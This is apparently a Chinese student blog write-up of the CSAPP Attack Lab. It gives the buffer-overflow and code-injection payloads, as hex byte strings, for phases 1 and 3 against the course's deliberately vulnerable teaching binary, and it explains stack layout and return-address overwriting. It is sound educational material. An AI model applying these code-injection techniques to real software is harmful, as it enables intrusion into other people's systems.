CSAPP-ATTACKLAB

BOMBLAB 做的人不能自理。在bomblab中,有很多投机取巧的方法,面对整个冗长的汇编也没能总结出什么有用的经验(或许有用的gdb调试经验增加了。。。)总而言之,bomblab算一个比较有趣但是要想真正写点东西出来又很困难的LAB。废话了这么多,无非就是:“我做完bomblab但是台麻烦拉不想写,直接从attacklab开始整”

phase 1

第一问比较简单,要求是通过注入代码实现函数的跳转。
原本的代码段是:

1 void test()
2 {
3 	int val;
4 	val = getbuf();//在此处注入代码!!!
5 	printf("No exploit. Getbuf returned 0x%x\n", val);
6 }

达到的目的是,让程序在getbuf()之后跳过test中的内容,直接运行文档中的touch1()函数:

1 void touch1()
2 {
3 	vlevel = 1; /* Part of validation protocol */
4 	printf("Touch1!: You called touch1()\n");
5 	validate(1);
6 	exit(0);
7 }

思路:找到touch1()函数的入口地址(00000000004017c0 :),通过注入字符,让getbuf()函数运行完之后直接跳转到touch1()
观察getbuf(),一开始进行了0x28个字节的栈分配

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   
  4017be:	90                   	nop
  4017bf:	90                   	nop

所以我们要注入的字符串的前0x28个字符(10进制为40)用于填充栈,40之后的,放置touch1()函数的入口地址。
最终答案(经hex2raw转换之前的):
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40
注意输入16进制数的次序和其在内存中的存放次序相反。

phase2

我们知道,如果想实施攻击,只能ret回某个地址然后执行这个地址处的函数。但是我们没办法把指令字符串注入到代码区,只能注入到堆栈区。好在PC计数器根本分不清这个,我们把自己要执行的一段代码通过注入导到堆栈区,然后再让返回地址直接指向堆栈区的开头(注意,这里虽然rsp已经弹回,原有栈空间出的内存部分并没有改变。详情见下图)
CSAPP-ATTACKLAB_第1张图片
主要思路就是这样,代码懒得粘了。

phase 3

和phase2有两点不同

  1. 传递给touch3的是cookie的字符串
  2. 传的是touch3而不是touch2

cookie:0x59b997fa
传入的应该是“59b997fa”
直接假装他是输入,看一下内存,就可以得到转换为16进制表示为:
0x39623935 0x61663739
这里出现第一个重点,存入的数据顺序
这是我们传入字符串“59b997fa”时的内存情况

0x5561dc78:	0x39623935	0x61663739	0x00000000	0x00000000
0x5561dc88:	0x00000000	0x00000000	0x00000000	0x00000000

可以看出,从地址0x5561dc780x5561dc80的部分就是字符串的存储部分。但是我们应该输入到二进制hex的顺序不是39 62 39 35 61 66 37 39而是35 39 62 39 39 37 66 61。不要搞反。

把字符串存到缓冲区,然后自己编写的代码中mov给%rdi 的并不是cookie的十六进制值而是cookie的字符串表示后的首地址。

然后就出来第二个重点,字符串的存储顺序和代码段的存储顺序
CSAPP-ATTACKLAB_第2张图片先看错误的情况:

35 39 62 39 39 37 66 61/*字符串*/
48 c7 c7 78 dc 61 55 68/*攻击代码*/
fa 18 40 00 c3 33 33 33/*攻击代码*/
33 33 33 33 33 33 33 33
33 33 33 33 33 33 33 33
80 dc 61 55 33 33 33 33/*跳转代码*/

虽然我们把字符串存到了堆栈区,但是由于后面堆栈区还会继续使用,有各种push的代码,比如

000000000040184c <hexmatch>:
  40184c:	41 54                	push   %r12
  40184e:	55                   	push   %rbp
  40184f:	53                   	push   %rbx

里面有三个push,他可能还会对堆栈区的内存进行污染,我们无法保证字符串的内容会不会被更改。
正确的做法是,直接把字符串的内容存到比%rsp 地址还要更低的地方,这样push操作绝对不会污染数据。正确输入:

48 c7 c7 a8 dc 61 55 68 /*攻击代码*/
fa 18 40 00 c3 00 00 00 /*攻击代码*/
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
78 dc 61 55 00 00 00 00 /*跳转代码*/        
35 39 62 39 39 37 66 61 /*字符串*/

而且注意一定要用00来填充,用33填充就报错了orz,我也不知道为啥。

phase4

待续

你可能感兴趣的:(CSAPP-ATTACKLAB)